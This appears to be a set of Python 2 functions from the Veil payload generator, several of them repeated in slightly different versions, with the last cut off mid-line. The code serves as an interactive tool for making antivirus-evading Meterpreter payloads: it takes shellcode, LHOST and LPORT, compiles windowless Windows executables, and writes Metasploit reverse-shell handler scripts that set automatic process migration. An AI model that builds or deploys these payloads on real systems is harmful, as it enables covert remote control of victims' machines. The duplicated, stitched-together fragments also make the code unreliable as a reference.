def custShellcodeMenu(self, showTitle=True): """ Menu to prompt the user for a custom shellcode string. Returns None if nothing is specified. """ # print out the main title to reset the interface if showTitle: messages.title() print ' [?] Use msfvenom or supply custom shellcode?\n' print ' 1 - msfvenom (default)' print ' 2 - Custom\n' choice = raw_input(" [>] Please enter the number of your choice: ") # Continue to msfvenom parameters. if choice == '2': CustomShell = raw_input( " [>] Please enter custom shellcode (one line, no quotes, \\x00.. format): " ) return CustomShell elif choice != '1': print helpers.color( " [!] WARNING: Invalid option chosen, defaulting to msfvenom!", warning=True) return None else: return None
def PayloadInfo(self, payload, showTitle=True, showInfo=True): """ Print out information about a specified payload. payload = the payload object to print information on showTitle = whether to show the Veil title showInfo = whether to show the payload information bit """ if showTitle: if settings.TERMINAL_CLEAR != "false": messages.title() if showInfo: # extract the payload class name from the instantiated object, then chop off the load folder prefix payloadname = "/".join( str( str(payload.__class__) [str(payload.__class__).find("payloads"):]).split(".") [0].split("/")[1:]) print helpers.color(" Payload information:\n") print "\tName:\t\t" + payloadname print "\tLanguage:\t" + payload.language print "\tRating:\t\t" + payload.rating if hasattr(payload, 'shellcode'): if self.payload.shellcode.customshellcode: print "\tShellcode:\t\tused" # format this all nice-like print helpers.formatLong("Description:", payload.description) # if required options were specified, output them if hasattr(self.payload, 'required_options'): self.PayloadOptions(self.payload)
def PayloadInfo(self, payload, showTitle=True, showInfo=True): """ Print out information about a specified payload. payload = the payload object to print information on showTitle = whether to show the Veil title showInfo = whether to show the payload information bit """ if showTitle: if settings.TERMINAL_CLEAR != "false": messages.title() if showInfo: # extract the payload class name from the instantiated object, then chop off the load folder prefix payloadname = "/".join( str(str(payload.__class__)[str(payload.__class__).find("payloads") :]).split(".")[0].split("/")[1:] ) print helpers.color(" Payload information:\n") print "\tName:\t\t" + payloadname print "\tLanguage:\t" + payload.language print "\tRating:\t\t" + payload.rating if hasattr(payload, "shellcode"): if self.payload.shellcode.customshellcode: print "\tShellcode:\t\tused" # format this all nice-like print helpers.formatLong("Description:", payload.description) # if required options were specified, output them if hasattr(self.payload, "required_options"): self.PayloadOptions(self.payload)
def SetShellSrc(): messages.title() global ShellSrc global CustomShell print '\n[?] Use msfvenom or supply custom shellcode?\n' print ' 1 - msfvenom (default)' print ' 2 - Custom\n' try: ShellSrc = raw_input("[>] Please enter the number of your choice: ") except KeyboardInterrupt: print "\n[!] Exiting...\n" sys.exit() # Check if ShellSrc is numeric. try: float(ShellSrc) except ValueError: return SetShellSrc() # Check if ShellSrc is a valid option. if not 1 <= int(ShellSrc) <= 2: return SetShellSrc() # Continue to msfvenom parameters. if ShellSrc == '2': try: CustomShell = raw_input( "[>] Please enter custom shellcode (one line, no quotes): ") PayloadChoice[int(PayloadType)]() except KeyboardInterrupt: print "\n[!] Exiting...\n" sys.exit() else: return SetHandler()
def custShellcodeMenu(self, showTitle=True): """ Menu to prompt the user for a custom shellcode string. Returns None if nothing is specified. """ # print out the main title to reset the interface if showTitle: messages.title() print ' [?] Use msfvenom or supply custom shellcode?\n' print ' 1 - msfvenom (default)' print ' 2 - Custom\n' choice = raw_input(" [>] Please enter the number of your choice: ") # Continue to msfvenom parameters. if choice == '2': CustomShell = raw_input(" [>] Please enter custom shellcode (one line, no quotes, \\x00.. format): ") return CustomShell elif choice != '1': print helpers.color(" [!] WARNING: Invalid option chosen, defaulting to msfvenom!", warning=True) return None else: return None
def SetLocalPort(): global LocalPort # Retrieve LocalPort User Input try: LocalPort = raw_input("[?] What's the Local Port Number: ") except KeyboardInterrupt: print "\n[!] Exiting...\n" sys.exit() # Check if LocalPort is numeric. try: float(LocalPort) except ValueError: messages.title() print print "[Error]: Bad port number specified.\n" return SetLocalPort() # Check if LocalPort is a valid port number. if 1 <= int(LocalPort) <= 65535: PayloadChoice[int(PayloadType)]() else: messages.title() print print "[Error]: Bad port number specified.\n" return SetLocalPort()
def PayloadInfo(self, payload, showTitle=True, showInfo=True): """ Print out information about a specified payload. payload = the payload object to print information on """ if showTitle: messages.title() if showInfo: print " Payload information:\n" print "\tName:\t\t" + payload.shortname print "\tLanguage:\t" + payload.language print "\tRating:\t\t" + payload.rating if hasattr(payload, 'shellcode'): if self.payload.shellcode.customshellcode: print "\tShellcode:\t\tused" print "\tDescription:\t" + payload.description # if required options were specified, output them if hasattr(self.payload, 'required_options'): print "\n Required Options:\n" print " Name\t\t\tCurrent Value\tDescription" print " ----\t\t\t-------------\t-----------" # sort the dictionary by key before we output, so it looks nice for key in sorted(self.payload.required_options.iterkeys()): print " %s\t%s\t%s" % ('{0: <16}'.format(key), '{0: <8}'.format(payload.required_options[key][0]), payload.required_options[key][1]) print ""
def SetShellSrc(): messages.title() global ShellSrc global CustomShell print '\n[?] Use msfvenom or supply custom shellcode?\n' print ' 1 - msfvenom (default)' print ' 2 - Custom\n' try: ShellSrc = raw_input("[>] Please enter the number of your choice: ") except KeyboardInterrupt: print "\n[!] Exiting...\n" sys.exit() # Check if ShellSrc is numeric. try: float(ShellSrc) except ValueError: return SetShellSrc() # Check if ShellSrc is a valid option. if not 1 <= int(ShellSrc) <= 2: return SetShellSrc() # Continue to msfvenom parameters. if ShellSrc == '2': try: CustomShell = raw_input("[>] Please enter custom shellcode (one line, no quotes): ") PayloadChoice[int(PayloadType)]() except KeyboardInterrupt: print "\n[!] Exiting...\n" sys.exit() else: return SetHandler()
def PayloadInfo(self, payload, showTitle=True, showInfo=True): """ Print out information about a specified payload. payload = the payload object to print information on """ if showTitle: messages.title() if showInfo: logging.info("\tName:\t\t" + payload.shortname) logging.info("\tLanguage:\t" + payload.language) logging.info("\tRating:\t\t" + payload.rating) if hasattr(payload, 'shellcode'): if self.payload.shellcode.customshellcode: logging.info("\tShellcode:\t\tused") logging.info("\tDescription:\t" + payload.description) # if required options were specified, output them if hasattr(self.payload, 'required_options'): #print "\n Required Options:\n" #print " Name\t\t\tCurrent Value\tDescription" #print " ----\t\t\t-------------\t-----------" # sort the dictionary by key before we output, so it looks nice for key in sorted(self.payload.required_options.iterkeys()): logging.info(" %s\t%s\t%s" % ('{0: <16}'.format(key), '{0: <8}'.format( payload.required_options[key][0]), payload.required_options[key][1]))
def compilemingw (): # Print Title messages.title() # Compile our C code into an executable and pass a compiler flag to prevent it from opening a command prompt when run os.system('i686-w64-mingw32-gcc -Wl,-subsystem,windows payload.c -o payload.exe') os.system('rm payload.c') messages.title() messages.endmsg()
def PayloadInfo(self, payload, showTitle=True, showInfo=True): """ Print out information about a specified payload. payload = the payload object to print information on showTitle = whether to show the Veil title showInfo = whether to show the payload information bit """ if showTitle: messages.title() if showInfo: # extract the payload class name from the instantiated object, then chop off the load folder prefix payloadname = "/".join( str( str(payload.__class__) [str(payload.__class__).find("payloads"):]).split(".") [0].split("/")[1:]) print helpers.color(" Payload information:\n") print "\tName:\t\t" + payloadname print "\tLanguage:\t" + payload.language print "\tRating:\t\t" + payload.rating if hasattr(payload, 'shellcode'): if self.payload.shellcode.customshellcode: print "\tShellcode:\t\tused" # format this all nice-like print helpers.formatLong("Description:", payload.description) # if required options were specified, output them if hasattr(self.payload, 'required_options'): print helpers.color("\n Required Options:\n") print " Name\t\t\tCurrent Value\tDescription" print " ----\t\t\t-------------\t-----------" # sort the dictionary by key before we output, so it looks nice for key in sorted(self.payload.required_options.iterkeys()): print " %s\t%s\t%s" % ('{0: <16}'.format(key), '{0: <8}'.format( payload.required_options[key][0]), payload.required_options[key][1]) print ""
def SetLocalHost(): global LocalHost # Retrieve LocalHost User Input try: LocalHost = raw_input("[?] What's the Local Host IP Address: ") except KeyboardInterrupt: print "\n[!] Exiting...\n" sys.exit() # Temporary Solution for Basic Verification (not perfect, fix later). try: socket.inet_aton(LocalHost) SetLocalPort() except socket.error: messages.title() print print "[Error]: Bad IP address specified.\n" return SetLocalHost()
def PayloadInfo(self, payload, showTitle=True, showInfo=True): """ Print out information about a specified payload. payload = the payload object to print information on showTitle = whether to show the Veil title showInfo = whether to show the payload information bit """ if showTitle: messages.title() if showInfo: # extract the payload class name from the instantiated object, then chop off the load folder prefix payloadname = "/".join(str(str(payload.__class__)[str(payload.__class__).find("payloads"):]).split(".")[0].split("/")[1:]) print helpers.color(" Payload information:\n") print "\tName:\t\t" + payloadname print "\tLanguage:\t" + payload.language print "\tRating:\t\t" + payload.rating if hasattr(payload, 'shellcode'): if self.payload.shellcode.customshellcode: print "\tShellcode:\t\tused" # format this all nice-like print helpers.formatLong("Description:", payload.description) # if required options were specified, output them if hasattr(self.payload, 'required_options'): print helpers.color("\n Required Options:\n") print " Name\t\t\tCurrent Value\tDescription" print " ----\t\t\t-------------\t-----------" # sort the dictionary by key before we output, so it looks nice for key in sorted(self.payload.required_options.iterkeys()): print " %s\t%s\t%s" % ('{0: <16}'.format(key), '{0: <8}'.format(payload.required_options[key][0]), payload.required_options[key][1]) print ""
def SetHandler(): messages.title() global Handler print '\n[?] What type of payload would you like?\n' print ' 1 - Reverse TCP' print ' 2 - Reverse HTTP' print ' 3 - Reverse HTTPS' print ' 0 - Main Menu\n' # Retrieve Handler User Input try: Handler = raw_input("[>] Please enter the number of your choice: ") except KeyboardInterrupt: print "\n[!] Exiting...\n" sys.exit() # Check if Handler is numeric. try: float(Handler) except ValueError: messages.title() return SetHandler() # Check if Handler is a valid option. if Handler == "0": SetPayloadType() elif 0 <= int(Handler) <= 3: SetLocalHost() # Payload type validation check. else: messages.title() return SetHandler()
def SetPayloadType(): global PayloadType messages.title() print "\n[?] What payload type would you like to use?\n" print " 1 - Meterpreter - Python - void pointer" print " 2 - Meterpreter - Python - VirtualAlloc()" print " 3 - Meterpreter - Python - base64 Encoded" print " 4 - Meterpreter - Python - Letter Substitution" print " 5 - Meterpreter - Python - ARC4 Stream Cipher" print " 6 - Meterpreter - Python - DES Encrypted" print " 7 - Meterpreter - Python - AES Encrypted" print " 8 - Meterpreter - C - void pointer" print " 9 - Meterpreter - C - VirtualAlloc()" print " 0 - Exit Veil\n" # Retrieve PayloadType User Input try: PayloadType = raw_input("[>] Please enter the number of your choice: ") except KeyboardInterrupt: print "\n[!] Exiting...\n" sys.exit() # Exit Option if PayloadType == "0": exit() # Check if PayloadType is numeric. try: float(PayloadType) except ValueError: return SetPayloadType() # Check if PayloadType is a valid option. if 0 <= int(PayloadType) <= 9: return SetShellSrc() else: return SetPayloadType()
# keep bywaf.pyc from appearing? sys.dont_write_bytecode = True parser = argparse.ArgumentParser() parser.add_argument('--update', action='store_true', help='Update the ByWaf.') parser.add_argument('--version', action="store_true", help='Displays version and quits.') args = parser.parse_args() # Print version if args.version: messages.title() sys.exit() # Print main title messages.title() # instantiate the main controller object controller = controller.Controller(oneRun=False) # call the update functionality for Veil and then exit if args.update: controller.UpdateVeil(interactive=False) sys.exit() # use interactive menu if not arguments controller.MainMenu(args=args)
def PayloadMenu(self, payload, showTitle=True): """ Main menu for interacting with a specific payload. payload = the payload object we're interacting with showTitle = whether to show the main Veil title menu Returns the output of OutputMenu() (the full path of the source file or compiled .exe) """ comp = completers.PayloadCompleter(self.payload) readline.set_completer_delims(' \t\n;') readline.parse_and_bind("tab: complete") readline.set_completer(comp.complete) # show the title if specified if showTitle: messages.title() print " Payload: " + helpers.color(payload.language + "/" + payload.shortname) + " loaded" self.PayloadInfo(payload, showTitle=False, showInfo=False) messages.helpmsg(self.payloadCommands, showTitle=False) choice = "" while choice == "": while True: choice = raw_input(" [>] Please enter a command: ").strip() if choice != "": parts = choice.strip().split() # display help menu for the payload if parts[0] == "info": self.PayloadInfo(payload) choice = "" if parts[0] == "help": if len(parts) > 1: if parts[1] == "crypters" or parts[1] == "[crypters]": messages.helpCrypters() else: messages.helpmsg(self.payloadCommands) choice = "" # head back to the main menu if parts[0] == "main" or parts[0] == "back": #finished = True return "" #self.MainMenu() if parts[0] == "exit": raise KeyboardInterrupt # Update Veil via git if parts[0] == "update": self.UpdateVeil() # set specific options if parts[0] == "set": # catch the case of no value being supplied if len(parts) == 1: print helpers.color(" [!] ERROR: no value supplied\n", warning=True) else: option = parts[1] value = "".join(parts[2:]) #### VALIDATION #### # validate LHOST if option == "LHOST": hostParts = value.split(".") if len(hostParts) > 1: # if the last chunk is a number, assume it's an IP address if hostParts[-1].isdigit(): # do a regex IP validation if not re.match(r"^(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])$",value): print helpers.color("\n [!] ERROR: Bad IP address specified.\n", warning=True) else: try: payload.required_options[option][0] = value except KeyError: print helpers.color("\n [!] ERROR: Specify LHOST value in the following screen.\n", warning=True) except AttributeError: print helpers.color("\n [!] ERROR: Specify LHOST value in the following screen.\n", warning=True) # assume we've been passed a domain name else: if helpers.isValidHostname(value): pass else: print helpers.color("\n [!] ERROR: Bad hostname specified.\n", warning=True) else: print helpers.color("\n [!] ERROR: Bad IP address or hostname specified.\n", warning=True) # validate LPORT elif option == "LPORT": try: if int(value) <= 0 or int(value) >= 65535: print helpers.color("\n [!] ERROR: Bad port number specified.\n", warning=True) else: try: payload.required_options[option][0] = value except KeyError: print helpers.color("\n [!] ERROR: Specify LPORT value in the following screen.\n", warning=True) except AttributeError: print helpers.color("\n [!] ERROR: Specify LPORT value in the following screen.\n", warning=True) except ValueError: print helpers.color("\n [!] ERROR: Bad port number specified.\n", warning=True) # set the specific option value if not validation done else: try: payload.required_options[option][0] = value except: print helpers.color(" [!] ERROR: Invalid value specified.\n", warning=True) cmd = "" # generate the payload if parts[0] == "generate": # make sure all required options are filled in first if self.ValidatePayload(payload): #finished = True # actually generate the payload code payloadCode = payload.generate() # ensure we got some code back if payloadCode != "": # call the output menu return self.OutputMenu(payload, payloadCode) else: print helpers.color("\n [!] WARNING: not all required options filled\n", warning=True)
def OutputMenu(self, payload, code, showTitle=True, interactive=True, OutputBaseChoice=""): """ Write a chunk of payload code to a specified ouput file base. Also outputs a handler script if required from the options. code = the source code to write OutputBaseChoice = "payload" or user specified string Returns the full name the source was written to. """ # if we get .exe code back, output to the compiled folder, otherwise write to the source folder if payload.extension == "exe": outputFolder = settings.PAYLOAD_COMPILED_PATH else: outputFolder = settings.PAYLOAD_SOURCE_PATH # only show get input if we're doing the interactive menu if interactive: if showTitle: messages.title() # Get the base install name for the payloads (i.e. OutputBaseChoice.py/OutputBaseChoice.exe) print " [*] Press [enter] for 'payload'" OutputBaseChoice = raw_input(" [>] Please enter the base name for output files: ") if OutputBaseChoice == "": OutputBaseChoice = "payload" # walk the output path and grab all the file bases, disregarding extensions fileBases = [] for (dirpath, dirnames, filenames) in os.walk(outputFolder): fileBases.extend(list(set([x.split(".")[0] for x in filenames if x.split(".")[0] != '']))) break # as long as the file exists, increment a counter to add to the filename # i.e. "payload3.py", to make sure we don't overwrite anything FinalBaseChoice = OutputBaseChoice x = 1 while FinalBaseChoice in fileBases: FinalBaseChoice = OutputBaseChoice + str(x) x += 1 # set the output name to /outout/source/BASENAME.EXT OutputFileName = outputFolder + FinalBaseChoice + "." + payload.extension OutputFile = open(OutputFileName, 'w') OutputFile.write(code) OutputFile.close() # start building the information string for the generated payload message = "\n Language:\t\t"+helpers.color(payload.language)+"\n Payload:\t\t"+payload.shortname if hasattr(payload, 'shellcode'): # check if msfvenom was used or something custom, print appropriately if payload.shellcode.customshellcode != "": message += "\n Shellcode:\t\tcustom" else: message += "\n Shellcode:\t\t" + payload.shellcode.msfvenompayload # if the shellcode wasn't custom, build out a handler script handler = "use exploit/multi/handler\n" handler += "set PAYLOAD " + payload.shellcode.msfvenompayload + "\n" handler += "set LHOST 0.0.0.0\n" # extract LPORT if it's there p = re.compile('LPORT=(.*?) ') parts = p.findall(payload.shellcode.msfvenomCommand) if len(parts) > 0: handler += "set LPORT " + parts[0] + "\n" handler += "set ExitOnSession false\n" handler += "set AutoRunScript post/windows/manage/migrate\n" handler += "exploit -j\n" # print out any msfvenom options we used in shellcode generation if specified if len(payload.shellcode.options) > 0: message += "\n Options:\t\t" parts = "" for option in payload.shellcode.options: parts += ' ' + option + ' ' message += parts.strip() # reset the internal shellcode state the options don't persist payload.shellcode.Reset() # if required options were specified, output them if hasattr(payload, 'required_options'): message += "\n Required Options:\t" t = "" # sort the dictionary by key before we output, so it looks nice for key in sorted(payload.required_options.iterkeys()): t += " " + key + "=" + payload.required_options[key][0] + " " message += t.strip() # check if any options specify that we should build a handler out keys = payload.required_options.keys() if "LHOST" in keys: handler = "use exploit/multi/handler\n" # do our best to determine the payload type # handle options from the backdoor factory if "payload" in keys: p = payload.required_options["payload"][0] if "tcp" in p: handler += "set PAYLOAD windows/meterpreter/reverse_tcp\n" elif "https" in p: handler += "set PAYLOAD windows/meterpreter/reverse_https\n" elif "shell" in p: handler += "set PAYLOAD windows/shell_reverse_tcp\n" else: pass # if not BDF, try to extract the handler type from the payload name else: if "tcp" in payload.shortname.lower(): handler += "set PAYLOAD windows/meterpreter/reverse_tcp\n" elif "https" in payload.shortname.lower(): handler += "set PAYLOAD windows/meterpreter/reverse_https\n" elif "http" in payload.shortname.lower(): handler += "set PAYLOAD windows/meterpreter/reverse_https\n" else: pass handler += "set LHOST 0.0.0.0\n" if "LPORT" in keys: handler += "set LPORT " + payload.required_options["LPORT"][0] + "\n" handler += "set ExitOnSession false\n" handler += "set AutoRunScript post/windows/manage/migrate\n" handler += "exploit -j\n" message += "\n Payload File:\t\t"+OutputFileName + "\n" # if we're generating the handler script, write it out try: if settings.GENERATE_HANDLER_SCRIPT.lower() == "true": handlerFileName = settings.HANDLER_PATH + FinalBaseChoice + "_handler.rc" handlerFile = open(handlerFileName, 'w') handlerFile.write(handler) handlerFile.close() message += " Handler File:\t\t"+handlerFileName + "\n" except: # is that option fails, it probably means that the /etc/veil/settings.py file hasn't been updated print helpers.color("\n [!] Please run ./config/update.py !", warning=True) # print out notes if set if hasattr(payload, 'notes'): #message += " Notes:\t\t\t" + payload.notes message += helpers.formatLong("Notes:", payload.notes, frontTab=False, spacing=24) message += "\n" # check if compile_to_exe is in the required options, if so, # call supportfiles.supportingFiles() to compile appropriately if hasattr(self.payload, 'required_options'): if "compile_to_exe" in self.payload.required_options: value = self.payload.required_options['compile_to_exe'][0].lower()[0] if value == "y" or value==True: if interactive: supportfiles.supportingFiles(self.payload.language, OutputFileName, {}) else: supportfiles.supportingFiles(self.payload.language, OutputFileName, {'method':'pyinstaller'}) # if we're compiling, set the returned file name to the output .exe # so we can return this for external calls to the framework OutputFileName = settings.PAYLOAD_COMPILED_PATH + FinalBaseChoice + ".exe" # print the full message containing generation notes print message # print the end message messages.endmsg() if interactive: raw_input(" [>] press any key to return to the main menu: ") #self.MainMenu(showMessage=True) return OutputFileName
def custShellcodeMenu(self, showTitle=True): """ Menu to prompt the user for a custom shellcode string. Returns None if nothing is specified. """ # print out the main title to reset the interface if showTitle: messages.title() print ' [?] Use msfvenom or supply custom shellcode?\n' print ' %s - msfvenom %s' % (helpers.color('1'), helpers.color('(default)',yellow=True)) print ' %s - custom shellcode string' % (helpers.color('2')) print ' %s - file with shellcode (raw)\n' % (helpers.color('3')) try: choice = self.required_options['SHELLCODE'][0].lower().strip() print(" [>] Please enter the number of your choice: %s" % (choice)) except: choice = raw_input(" [>] Please enter the number of your choice: ").strip() if choice == '3': # instantiate our completer object for path completion comp = completers.PathCompleter() # we want to treat '/' as part of a word, so override the delimiters readline.set_completer_delims(' \t\n;') readline.parse_and_bind("tab: complete") readline.set_completer(comp.complete) # if the shellcode is specicified as a raw file filePath = raw_input(" [>] Please enter the path to your raw shellcode file: ") try: shellcodeFile = open(filePath, 'rb') CustShell = shellcodeFile.read() shellcodeFile.close() except: print helpers.color(" [!] WARNING: path not found, defaulting to msfvenom!", warning=True) return None if len(CustShell) == 0: print helpers.color(" [!] WARNING: no custom shellcode restrieved, defaulting to msfvenom!", warning=True) return None # check if the shellcode was passed in as string-escaped form if CustShell[0:2] == "\\x" and CustShell[4:6] == "\\x": return CustShell else: # otherwise encode the raw data as a hex string hexString = binascii.hexlify(CustShell) CustShell = "\\x"+"\\x".join([hexString[i:i+2] for i in range(0,len(hexString),2)]) return CustShell # remove the completer readline.set_completer(None) elif choice == '2' or choice == 'string': # if the shellcode is specified as a string CustomShell = raw_input(" [>] Please enter custom shellcode (one line, no quotes, \\x00.. format): ") if len(CustomShell) == 0: print helpers.color(" [!] WARNING: no shellcode specified, defaulting to msfvenom!", warning=True) return CustomShell elif choice == '' or choice == '1' or choice == 'msf' or choice == 'metasploit' or choice == 'msfvenom': return None else: print helpers.color(" [!] WARNING: Invalid option chosen, defaulting to msfvenom!", warning=True) return None
def MainMenu(self, showMessage=True): """ Main interactive menu for payload generation. showMessage = reset the screen and show the greeting message [default=True] oneRun = only run generation once, returning the path to the compiled executable used when invoking the framework from an external source """ self.outputFileName = "" cmd = "" try: while cmd == "" and self.outputFileName == "": # set out tab completion for the appropriate modules on each run # as other modules sometimes reset this comp = completers.MainMenuCompleter(self.commands, self.payloads) readline.set_completer_delims(' \t\n;') readline.parse_and_bind("tab: complete") readline.set_completer(comp.complete) if showMessage: # print the title, where we are, and number of payloads loaded messages.title() print " Main Menu\n" print "\t" + helpers.color(str(len( self.payloads))) + " payloads loaded\n" messages.helpmsg(self.commands, showTitle=False) cmd = raw_input(' [>] Please enter a command: ').strip() # handle our tab completed commands if cmd.startswith("help"): #messages.helpmsg(self.commands) messages.title() self.commands cmd = "" showMessage = False elif cmd.startswith("use"): if len(cmd.split()) == 1: messages.title() self.ListAllPayloads() showMessage = False cmd = "" elif len(cmd.split()) == 2: # pull out the payload/number to use p = cmd.split()[1] # if we're choosing the payload by numbers if p.isdigit() and 0 < int(p) <= len(self.payloads): x = 1 for (name, pay) in self.payloads: # if the entered number matches the payload #, use that payload if int(p) == x: self.payload = pay self.outputFileName = self.PayloadMenu( self.payload) x += 1 # else choosing the payload by name elif len(p.split("/")) == 2: lang, payloadName = p.split("/") for (name, pay) in self.payloads: # if we find the payload specified, kick off the payload menu if pay.language == lang: if pay.shortname == payloadName: self.payload = pay self.outputFileName = self.PayloadMenu( self.payload) cmd = "" showMessage = True # error catchings if not of form [use BLAH] else: cmd = "" showMessage = False elif cmd.startswith("update"): self.UpdateVeil() showMessage = True cmd = "" elif cmd.startswith("info"): if len(cmd.split()) == 1: showMessage = True cmd = "" elif len(cmd.split()) == 2: # pull out the payload/number to use p = cmd.split()[1] # if we're choosing the payload by numbers if p.isdigit() and 0 < int(p) <= len(self.payloads): x = 1 for (name, pay) in self.payloads: # if the entered number matches the payload #, use that payload if int(p) == x: self.payload = pay self.PayloadInfo(self.payload) x += 1 # else choosing the payload by name elif len(p.split("/")) == 2: lang, payloadName = p.split("/") for (name, pay) in self.payloads: # if we find the payload specified, kick off the payload menu if pay.language == lang: if pay.shortname == payloadName: self.payload = pay self.PayloadInfo(self.payload) cmd = "" showMessage = False # error catchings if not of form [use BLAH] else: cmd = "" showMessage = False elif cmd.startswith("list"): if len(cmd.split()) == 1: messages.title() self.ListAllPayloads() if len(cmd.split()) == 2: parts = cmd.split() if parts[1] == "all" or parts[1] == "payloads": messages.title() self.ListAllPayloads() elif parts[1] == "langs": messages.title() self.ListLangs() else: messages.title() self.ListPayloads(parts[1]) cmd = "" showMessage = False elif cmd.startswith("exit") or cmd.startswith("q"): if self.oneRun: # if we're being invoked from external code, just return # an empty string on an exit/quit instead of killing everything return "" else: print helpers.color("\n [!] Exiting...\n", warning=True) sys.exit() # select a payload by just the number elif cmd.isdigit() and 0 < int(cmd) <= len(self.payloads): x = 1 for (name, pay) in self.payloads: # if the entered number matches the payload #, use that payload if int(cmd) == x: self.payload = pay self.outputFileName = self.PayloadMenu( self.payload) x += 1 cmd = "" showMessage = True # if nothing is entered else: cmd = "" showMessage = True # if we're looping forever on the main menu (Veil.py behsvior) # reset the output filname to nothing so we don't break the while if not self.oneRun: self.outputFileName = "" return self.outputFileName # catch any ctrl + c interrupts except KeyboardInterrupt: if self.oneRun: # if we're being invoked from external code, just return # an empty string on an exit/quit instead of killing everything return "" else: print helpers.color("\n\n [!] Exiting...\n", warning=True) sys.exit()
def PayloadMenu(self, payload, showTitle=True): """ Main menu for interacting with a specific payload. payload = the payload object we're interacting with showTitle = whether to show the main Veil title menu Returns the output of OutputMenu() (the full path of the source file or compiled .exe) """ comp = completers.PayloadCompleter(self.payload) readline.set_completer_delims(' \t\n;') readline.parse_and_bind("tab: complete") readline.set_completer(comp.complete) # show the title if specified if showTitle: messages.title() print " Payload: " + helpers.color(payload.language + "/" + payload.shortname) + " loaded" self.PayloadInfo(payload, showTitle=False, showInfo=False) messages.helpmsg(self.payloadCommands, showTitle=False) choice = "" while choice == "": while True: choice = raw_input(" [>] Please enter a command: ").strip() if choice != "": parts = choice.strip().split() # display help menu for the payload if parts[0] == "info": self.PayloadInfo(payload) choice = "" if parts[0] == "help": if len(parts) > 1: if parts[1] == "crypters" or parts[ 1] == "[crypters]": messages.helpCrypters() else: messages.helpmsg(self.payloadCommands) choice = "" # head back to the main menu if parts[0] == "main" or parts[0] == "back": #finished = True return "" #self.MainMenu() if parts[0] == "exit": raise KeyboardInterrupt # Update Veil via git if parts[0] == "update": self.UpdateVeil() # set specific options if parts[0] == "set": # catch the case of no value being supplied if len(parts) == 1: print helpers.color( " [!] ERROR: no value supplied\n", warning=True) else: option = parts[1] value = "".join(parts[2:]) #### VALIDATION #### # validate LHOST if option == "LHOST": hostParts = value.split(".") if len(hostParts) > 1: # if the last chunk is a number, assume it's an IP address if hostParts[-1].isdigit(): # do a regex IP validation if not re.match( r"^(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])$", value): print helpers.color( "\n [!] ERROR: Bad IP address specified.\n", warning=True) else: try: payload.required_options[ option][0] = value except KeyError: print helpers.color( "\n [!] ERROR: Specify LHOST value in the following screen.\n", warning=True) except AttributeError: print helpers.color( "\n [!] ERROR: Specify LHOST value in the following screen.\n", warning=True) # assume we've been passed a domain name else: if helpers.isValidHostname(value): pass else: print helpers.color( "\n [!] ERROR: Bad hostname specified.\n", warning=True) else: print helpers.color( "\n [!] ERROR: Bad IP address or hostname specified.\n", warning=True) # validate LPORT elif option == "LPORT": try: if int(value) <= 0 or int(value) >= 65535: print helpers.color( "\n [!] ERROR: Bad port number specified.\n", warning=True) else: try: payload.required_options[option][ 0] = value except KeyError: print helpers.color( "\n [!] ERROR: Specify LPORT value in the following screen.\n", warning=True) except AttributeError: print helpers.color( "\n [!] ERROR: Specify LPORT value in the following screen.\n", warning=True) except ValueError: print helpers.color( "\n [!] ERROR: Bad port number specified.\n", warning=True) # set the specific option value if not validation done else: try: payload.required_options[option][0] = value except: print helpers.color( " [!] ERROR: Invalid value specified.\n", warning=True) cmd = "" # generate the payload if parts[0] == "generate": # make sure all required options are filled in first if self.ValidatePayload(payload): #finished = True # actually generate the payload code payloadCode = payload.generate() # ensure we got some code back if payloadCode != "": # call the output menu return self.OutputMenu(payload, payloadCode) else: print helpers.color( "\n [!] WARNING: not all required options filled\n", warning=True)
def OutputMenu(self, payload, code, showTitle=True, interactive=True, OutputBaseChoice=""): """ Write a chunk of payload code to a specified ouput file base. code = the source code to write OutputBaseChoice = "payload" or user specified string Returns the full name the source was written to. """ # if we get .exe code back, output to the compiled folder, otherwise write to the source folder if payload.extension == "exe": outputFolder = settings.PAYLOAD_COMPILED_PATH else: outputFolder = settings.PAYLOAD_SOURCE_PATH # only show get input if we're doing the interactive menu if interactive: if showTitle: messages.title() # Get the base install name for the payloads (i.e. OutputBaseChoice.py/OutputBaseChoice.exe) print " [*] Press [enter] for 'payload'" OutputBaseChoice = raw_input(" [>] Please enter the base name for output files: ") if OutputBaseChoice == "": OutputBaseChoice = "payload" # walk the output path and grab all the file bases, disregarding extensions fileBases = [] for (dirpath, dirnames, filenames) in os.walk(outputFolder): fileBases.extend(list(set([x.split(".")[0] for x in filenames if x.split(".")[0] != '']))) break # as long as the file exists, increment a counter to add to the filename # i.e. "payload3.py", to make sure we don't overwrite anything FinalBaseChoice = OutputBaseChoice x = 1 while FinalBaseChoice in fileBases: FinalBaseChoice = OutputBaseChoice + str(x) x += 1 # set the output name to /outout/source/BASENAME.EXT OutputFileName = outputFolder + FinalBaseChoice + "." + payload.extension OutputFile = open(OutputFileName, 'w') OutputFile.write(code) OutputFile.close() # start building the information string for the generated payload message = "\n Language:\t\t"+helpers.color(payload.language)+"\n Payload:\t\t"+payload.shortname if hasattr(payload, 'shellcode'): # check if msfvenom was used or something custom, print appropriately if payload.shellcode.customshellcode != "": message += "\n Shellcode:\t\tcustom" else: message += "\n Shellcode:\t\t" + payload.shellcode.msfvenompayload # print out any msfvenom options we used in shellcode generation if specified if len(payload.shellcode.options) > 0: message += "\n Options:\t\t" parts = "" for option in payload.shellcode.options: parts += ' ' + option + ' ' message += parts.strip() # reset the internal shellcode state the options don't persist payload.shellcode.Reset() # if required options were specified, output them if hasattr(payload, 'required_options'): message += "\n Required Options:\t" t = "" # sort the dictionary by key before we output, so it looks nice for key in sorted(payload.required_options.iterkeys()): t += " " + key + "=" + payload.required_options[key][0] + " " message += t.strip() message += "\n Source File:\t\t"+OutputFileName + "\n" # print out notes if set if hasattr(payload, 'notes'): #message += " Notes:\t\t\t" + payload.notes message += helpers.formatLong("Notes:", payload.notes, frontTab=False, spacing=24) message += "\n" # check if compile_to_exe is in the required options, if so, # call supportfiles.supportingFiles() to compile appropriately if hasattr(self.payload, 'required_options'): if "compile_to_exe" in self.payload.required_options: value = self.payload.required_options['compile_to_exe'][0].lower()[0] if value == "y" or value==True: if interactive: supportfiles.supportingFiles(self.payload.language, OutputFileName, {}) else: 